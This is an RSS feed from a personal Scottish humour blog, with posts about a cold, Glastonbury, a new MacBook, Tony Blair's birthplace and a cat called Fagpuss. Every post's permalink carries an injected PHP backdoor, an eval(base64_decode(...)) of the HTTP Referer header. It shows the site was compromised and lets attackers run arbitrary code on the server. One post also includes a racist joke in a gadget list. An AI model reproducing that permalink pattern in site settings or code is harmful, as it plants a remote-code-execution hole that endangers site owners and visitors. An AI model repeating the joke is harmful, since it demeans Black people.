This Standard Scottish Life » internet http://www.thisstandardscottishlife.com Wed, 06 Jan 2010 16:55:35 +0000 http://wordpress.org/?v=2.9 en hourly 1 Very … http://www.thisstandardscottishlife.com/2008/09/22/very/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thisstandardscottishlife.com/2008/09/22/very/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 22 Sep 2008 03:32:16 +0000 Sandy http://www.thisstandardscottishlife.com/?p=281 It’s very late. Very, very late.  Or maybe it’s not late but very, very early.  All I know is that it is very, very something and it’s quite unpleasant.

But my nation has called upon me and I will tolerate the very, very and the quite unpleasant to assist in the presentation of all things Skotchish.  This may take me beyond the pale over the border, on the red eye to Lundyn but, for you my MaBroonLand, I will do this.  Just this once mind.  I expect recompense you know!  Payment in porridge will do.

NB this post was just an excuse to show off my slowly developing photoshop skills.

]]> http://www.thisstandardscottishlife.com/2008/09/22/very/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Ra plague …. http://www.thisstandardscottishlife.com/2007/06/23/ra-plague/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thisstandardscottishlife.com/2007/06/23/ra-plague/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 22 Jun 2007 23:19:47 +0000 Sandy http://www.thisstandardscottishlife.com/?p=189 Mouse… I have got ra plague. I think I caught it off Ra Bliss Blog. I didn’t know that germs could traverse the internet highway. My plague is of the green gunk, uncontrollable sneezing, snuffling and coffing type. I begged off work this morning and retired to my bed of used and unused tissues and slept a blissful sleep (see Hotboy Ra Flatheids can do Ra bliss but only when infected) until I was rudely awoken by my rumbling stomach at 2pm!

Due to Ra plague I have missed Marc Almond but I sent Gussie and Roderick to check that he was still being glum and wearing black. In the meantime I have been watching people swimming in mud and rubbish bands at Glastonbury. Kasabian are particularly rubbish but not as rubbish as The Fratellis, not even their Scottishness can save them from their rubbishness. And will someone give that wee boy frae the Arctic Monkeys a pie or a biscuit or summat, he looks starved. In between mud and rubbish I bought tickets to see the epic Music in 12 parts by the not at all rubbish, in fact quite fab Philip Glass. (I bet that he looks good on the dance floor!)

Hmmm … maybe I caught ra plague off of the meece. (PS I have deployed the ultra sound screechy things and the meece have been absent for some time now)

]]> http://www.thisstandardscottishlife.com/2007/06/23/ra-plague/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 8 I was poking around … http://www.thisstandardscottishlife.com/2007/05/10/i-was-poking-around/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thisstandardscottishlife.com/2007/05/10/i-was-poking-around/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 10 May 2007 19:32:17 +0000 Sandy http://www.thisstandardscottishlife.com/?p=140 … my blog administration stuff and noticed lots of exciting posts that needed moderating. I seem to have many avid readers from the underground including:

  • NFL cheerleaders Thank you girls
  • Sinful comics Tsk, tsk you naughty things
  • Vitamin shoppe Ah yea olde worlde vitamin shoppe, for those of us who don’t eat our 5 veg/fruit
  • Penis Hilton [sniggering in a silly childish way]
  • Clonazepam. Thanks but no thanks, my memory is disturbed enuf as it is.

So thanks guys and girls for stopping by TSSL. Oh….. ooops …. was that the mass spam delete button I pressed? Now f**k off and don’t come back.

]]> http://www.thisstandardscottishlife.com/2007/05/10/i-was-poking-around/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Don’t spill that on the keyboard … http://www.thisstandardscottishlife.com/2007/05/10/friday-evening/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thisstandardscottishlife.com/2007/05/10/friday-evening/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 09 May 2007 22:35:41 +0000 Sandy http://www.thisstandardscottishlife.com/?p=148
friday eveningOriginally uploaded by seinberg.

Picture the scene … Le Chef is away consulting in Barcelona, it is evening time and he is exploiting the free internet connection in the hotel to do some work. He sends an email to Le Chef de le Chef and receives an immediate response back. Le Chef in turn replies promptly saying …

Ah Le Chef de Le Chef. You appear to be working late (from home) and online. Well, that’s me finished now I am off to the bar for a beer. Adios Le Chef

Le Chef de le Chef replies pronto

Yes Le Chef. I am online and on wine.

Isn’t that the best way to be ? Online on wine. It’s my new, new motto. I will have to adopt and practice my new motto at work tomorrow.

[wonders]
Can you Web2.0 on a Wallbanger ? Mashup on Mojitos ? vi on vodka (no … dinnae do vi on vodka it’s difficult enough doing vi auf wasser)
[/wonders]

]]> http://www.thisstandardscottishlife.com/2007/05/10/friday-evening/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 I thought I’d try an experiment …. http://www.thisstandardscottishlife.com/2007/05/09/i-thought-id-try-an-experiment/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thisstandardscottishlife.com/2007/05/09/i-thought-id-try-an-experiment/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 09 May 2007 20:15:06 +0000 Sandy http://www.thisstandardscottishlife.com/?p=144 … I was quite bad but it is an experiment. Given my profession it’s important to do stuff like this and see what happens. I wonder how long it will take til the wikipedia is rolled back or some smart physics bod sorts this or my conscience gets the better of me and I restore the universal balance.

The Before

Before

The After

After

]]> http://www.thisstandardscottishlife.com/2007/05/09/i-thought-id-try-an-experiment/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1 собака космонавта http://www.thisstandardscottishlife.com/2007/04/14/%d1%81%d0%be%d0%b1%d0%b0%d0%ba%d0%b0-%d0%ba%d0%be%d1%81%d0%bc%d0%be%d0%bd%d0%b0%d0%b2%d1%82%d0%b0/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thisstandardscottishlife.com/2007/04/14/%d1%81%d0%be%d0%b1%d0%b0%d0%ba%d0%b0-%d0%ba%d0%be%d1%81%d0%bc%d0%be%d0%bd%d0%b0%d0%b2%d1%82%d0%b0/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 14 Apr 2007 02:00:35 +0000 Sandy http://www.thisstandardscottishlife.com/?p=124 Ah … you didn’t know I could speak Russian did you ? We’ll I can’t except for wodka but babelfish is pretty good at it! So, you’ll recall my fondness for Les chiens d’espace (no it is not a model of car). While poodling around (arf arf) I came across the lovely posters of the space pooches Belka and Strelka. Look at them. How heroic and Soviet are they ? Look at their fetching space suits / straight jackets. The both survived and have been preserved (yeuch) and can be visited in museums in Rusky. Hurrah for the brave Les chiens d’espace.Les chiens d'espace.

]]> http://www.thisstandardscottishlife.com/2007/04/14/%d1%81%d0%be%d0%b1%d0%b0%d0%ba%d0%b0-%d0%ba%d0%be%d1%81%d0%bc%d0%be%d0%bd%d0%b0%d0%b2%d1%82%d0%b0/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1 I’m not Scottish. I’m not, I’m Not, I’m NOT! http://www.thisstandardscottishlife.com/2007/01/07/im-not-scottish-im-not-im-not-im-not/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thisstandardscottishlife.com/2007/01/07/im-not-scottish-im-not-im-not-im-not/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 07 Jan 2007 20:19:28 +0000 Sandy http://www.thisstandardscottishlife.com/?p=95 I was reading the paper today and there was an article in it about Scottish Prime Ministers. Apparently there have been 7 Scottish Prime Ministers in the past and Gordon Brown will make it 8. So, I was looking at all these Prime Ministers and thought … but there’s one missing.

Oi! Le Chef! I said, interrupting his ongoing destruction of Medieval Europe, Isn’t Tony Blair Scottish ?

Don’t be so stupid (he says this often to me) He was educated in Scotland. He’s not Scottish.

Aye, I know he was educated at that scary looking school. But I’m sure he’s Scottish.

So I go to look at font of all knowledge wikipedia and there it says,

Tony Blair was born at the Queen Mary Maternity Home in Edinburgh, Scotland.

Eh … born in Scotland ? I thought that made you Scottish ? Even if you just visit Scotland for an afternoon, that makes you Scottish. Oi Tony! You Scottish denier! (And that’s denier as in It wisnae me not denier as in Oh my, your silk stockings are very sheer. What denier are they ?)

Why would a man born in Scotland, lived in Scotland for nearly two years, then educated in a Scottish high school pretend to be Engerlish ? Discuss. Bring on Mr Brown, a proper Scotty.

]]> http://www.thisstandardscottishlife.com/2007/01/07/im-not-scottish-im-not-im-not-im-not/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 19 In bath with Madonna …. http://www.thisstandardscottishlife.com/2006/12/31/in-bath-with-madonna/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thisstandardscottishlife.com/2006/12/31/in-bath-with-madonna/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 30 Dec 2006 23:51:00 +0000 Sandy http://www.thisstandardscottishlife.com/?p=82 Warning: This is a “I love my MacBook” post

As you are aware I am strangely addicted to my new laptop. So addicted I haven’t thought of anything else but its lovely whiteness for the past two weeks. Lately, I have become fraught at bath time coz I lose valuable On MacBook time while soaking (when I have a bath I have to stay in it til all the bubbles have gone and the water is cold – so I am in there a loooongggg time and I’m sure the little Book feels neglected). However, I have just discovered that I can still use the MacBook while in the bath coz it’s got a remote control! Oh how cool is that ? So I had Madonna, Jimi Hendrix and ColdPlay in the bath tonight. Well … Madonna and Jimi were quite charming but I don’t think I want Chris Martin in my bath again.

To get all those folks in the bathroom I had to deploy significant amounts of gadgetry including:

  • 1 lovely lovely white MacBook running on battery outside the bathroom (we dinnae want the condensation on our precious)
  • 1 lovely lovely white MacBook remote
  • 1 Sony wireless speaker
  • 1 Sony wireless speaker transmitter
  • 1 Guardian Weekend supplement
  • 5 Irish toffees (fair trade of course)
  • 1 glass fizzy wine with orange
  • 1 Fender Stratocaster
  • 1 bottle of lighter fuel
  • 1 match
  • a black baby

Och … I dinnae play with the MacBook all the time. This Xmas I have also:

  • sewed a billion cushion covers for our sofa (8 down, 4 to go)
  • ate for Scotland
  • sat on my butt for Scotland
  • for the purposes of ebay sales listened to Electric Ladyland, Are you experienced?, Isle of Wight. Hurrah for Jimi !  He’s dead dontcha know ?  Pool of vomit.  Poor thing!  And I mean Hurrah for his guitar playing not for the pool of vomit thing.
  • (barely) tolerated relatives
  • watched all three Back to the Future films followed by …
    • all three Jurassic Park films (yawn)
  • learned a bit of MySQL, PHP and CSS (OK I had to use the MacBook for that but I also had to use the PC laptop too – yeuch)
  • thought about my New Year Resolutions (more of that another day)
  • thought about how wet I will get watching the Pet Shop Boys on Hogmanay. I am considering taking a bin liner to wear
  • did I mentioning eating for Scotland ?
]]> http://www.thisstandardscottishlife.com/2006/12/31/in-bath-with-madonna/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 119 It’s Warhol actually … http://www.thisstandardscottishlife.com/2006/12/16/its-warhol-actually/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thisstandardscottishlife.com/2006/12/16/its-warhol-actually/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 15 Dec 2006 23:45:07 +0000 Sandy http://www.thisstandardscottishlife.com/?p=76 TSSL is unlikely to be updated in the near future due to Sandy fiddling with her new white, shiny MacBook toy. So far she has spent her entire salary on iTunes, is preparing a comic about the allotment, is finalising the art work (ha) on her sheep-centric Xmas cards and purchasing white wigs as she enters her (S)andy Warhol phase . SandyWarhol

]]> http://www.thisstandardscottishlife.com/2006/12/16/its-warhol-actually/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1 Lucky star / Fagpuss update http://www.thisstandardscottishlife.com/2006/10/13/lucky-star-fagpuss-update/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thisstandardscottishlife.com/2006/10/13/lucky-star-fagpuss-update/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 13 Oct 2006 19:53:06 +0000 Sandy http://www.thisstandardscottishlife.com/?p=37

Latest news, latest news part 1

While only mildly inebriated last night I hung out the bedroom Velux window, sextant, telescope and compass in paw to check out my lucky star/geostationary satellite. And lo … I can confirm that it is a star …. the Pole star. These Polish folks are everywhere now. Even in the heavens. Is God Polish ? If so, I think I met him at the check out in LIDL.

Latest news, latest news part 2

Tonight when I arrived home from work, having gone via Beat the clock at Fisher’s with Le Chef, there was the lovely Fagpuss galavanting on the door step trying to look cute and fluffy and cadging a fag as usual. I am so pleased he doesn’t have the feline lung cancer. And thanks to everyone that wrote in with their concern about Fagpuss’s absence … that is all none of you! Why do I bother ? No one else cares about poor Fagpuss [pout].
[excellent: four mentions of Fagpuss ... oh five now ... in one post. I will be queen of the Google Fagpuss rankings (eh ... six) once again]

fagpuss, Fagpuss, FagPuss, FAGPUSS,

FAAAAAGPOOOOOOUUUUSSSS!!

]]> http://www.thisstandardscottishlife.com/2006/10/13/lucky-star-fagpuss-update/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1